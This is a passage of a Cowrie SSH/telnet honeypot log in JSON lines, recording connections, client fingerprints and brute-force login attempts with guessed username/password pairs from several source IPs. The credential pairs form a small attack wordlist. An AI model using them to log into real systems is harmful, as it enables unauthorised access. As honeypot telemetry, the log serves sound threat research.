18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:27.169870Z","src_ip":"103.180.212.135","session":"8c0d6f6771f5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:27.983007Z","src_ip":"103.180.212.135","session":"8c0d6f6771f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:28.179281Z","src_ip":"103.180.212.135","session":"114bff3d48c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:28.185074Z","src_ip":"103.180.212.135","session":"8c0d6f6771f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.272167921066284,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:35.467477Z","src_ip":"185.26.126.47","session":"d334ba2fa562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.67960977554321,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:40.687492Z","src_ip":"185.26.126.47","session":"f5b5d0fbd76b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.336583614349365,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:42.015838Z","src_ip":"185.26.126.47","session":"1f1aead5ba77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33152,"dst_ip":"159.203.135.109","dst_port":22,"session":"01b0e0f1873f","protocol":"ssh","message":"New connection: 159.203.92.129:33152 (159.203.135.109:22) [session: 01b0e0f1873f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:53.649590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:53.654521Z","src_ip":"159.203.92.129","session":"01b0e0f1873f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:53.659747Z","src_ip":"159.203.92.129","session":"01b0e0f1873f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"andre","message":"login attempt [andre/andre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:53.671465Z","src_ip":"159.203.92.129","session":"01b0e0f1873f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:54.677824Z","src_ip":"159.203.92.129","session":"01b0e0f1873f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":43278,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f329f6c4d44","protocol":"ssh","message":"New connection: 165.154.5.173:43278 (10.17.0.5:22) [session: 6f329f6c4d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:56.776132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:56.781594Z","src_ip":"165.154.5.173","session":"6f329f6c4d44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:56.999000Z","src_ip":"165.154.5.173","session":"6f329f6c4d44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890Aa","message":"login attempt [root/1234567890Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:57.897544Z","src_ip":"165.154.5.173","session":"6f329f6c4d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:59.116890Z","src_ip":"165.154.5.173","session":"6f329f6c4d44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":40926,"dst_ip":"159.203.135.109","dst_port":22,"session":"e939a4549e0e","protocol":"ssh","message":"New connection: 103.180.212.135:40926 (159.203.135.109:22) [session: e939a4549e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:20.215644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:20.219802Z","src_ip":"103.180.212.135","session":"e939a4549e0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:20.413222Z","src_ip":"103.180.212.135","session":"e939a4549e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456a","message":"login attempt [ubuntu/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:21.223595Z","src_ip":"103.180.212.135","session":"e939a4549e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:22.420780Z","src_ip":"103.180.212.135","session":"e939a4549e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34726,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd37f120403f","protocol":"ssh","message":"New connection: 159.203.92.129:34726 (159.203.135.109:22) [session: cd37f120403f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:38.326490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:38.330507Z","src_ip":"159.203.92.129","session":"cd37f120403f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:38.334570Z","src_ip":"159.203.92.129","session":"cd37f120403f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"andre123","message":"login attempt [andre/andre123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:38.344028Z","src_ip":"159.203.92.129","session":"cd37f120403f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:39.352819Z","src_ip":"159.203.92.129","session":"cd37f120403f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":40062,"dst_ip":"10.17.0.5","dst_port":22,"session":"701f6423c7aa","protocol":"ssh","message":"New connection: 165.154.5.173:40062 (10.17.0.5:22) [session: 701f6423c7aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:51.845793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:51.850533Z","src_ip":"165.154.5.173","session":"701f6423c7aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:52.073574Z","src_ip":"165.154.5.173","session":"701f6423c7aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minhtuan","message":"login attempt [root/minhtuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:52.988677Z","src_ip":"165.154.5.173","session":"701f6423c7aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:36:54.211588Z","src_ip":"165.154.5.173","session":"701f6423c7aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":44748,"dst_ip":"159.203.135.109","dst_port":22,"session":"73466e5f44c6","protocol":"ssh","message":"New connection: 103.180.212.135:44748 (159.203.135.109:22) [session: 73466e5f44c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:19.253543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:19.258303Z","src_ip":"103.180.212.135","session":"73466e5f44c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:19.457837Z","src_ip":"103.180.212.135","session":"73466e5f44c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin","message":"login attempt [root/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:20.266517Z","src_ip":"103.180.212.135","session":"73466e5f44c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47626,"dst_ip":"159.203.135.109","dst_port":22,"session":"de5262f0abff","protocol":"ssh","message":"New connection: 159.203.92.129:47626 (159.203.135.109:22) [session: de5262f0abff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:21.001768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:21.008068Z","src_ip":"159.203.92.129","session":"de5262f0abff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:21.022302Z","src_ip":"159.203.92.129","session":"de5262f0abff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrea","password":"andrea","message":"login attempt [andrea/andrea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:21.042933Z","src_ip":"159.203.92.129","session":"de5262f0abff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:21.463729Z","src_ip":"103.180.212.135","session":"73466e5f44c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:22.049191Z","src_ip":"159.203.92.129","session":"de5262f0abff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":51938,"dst_ip":"10.17.0.5","dst_port":22,"session":"341fe66f8452","protocol":"ssh","message":"New connection: 165.154.5.173:51938 (10.17.0.5:22) [session: 341fe66f8452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:37:46.963591Z"}
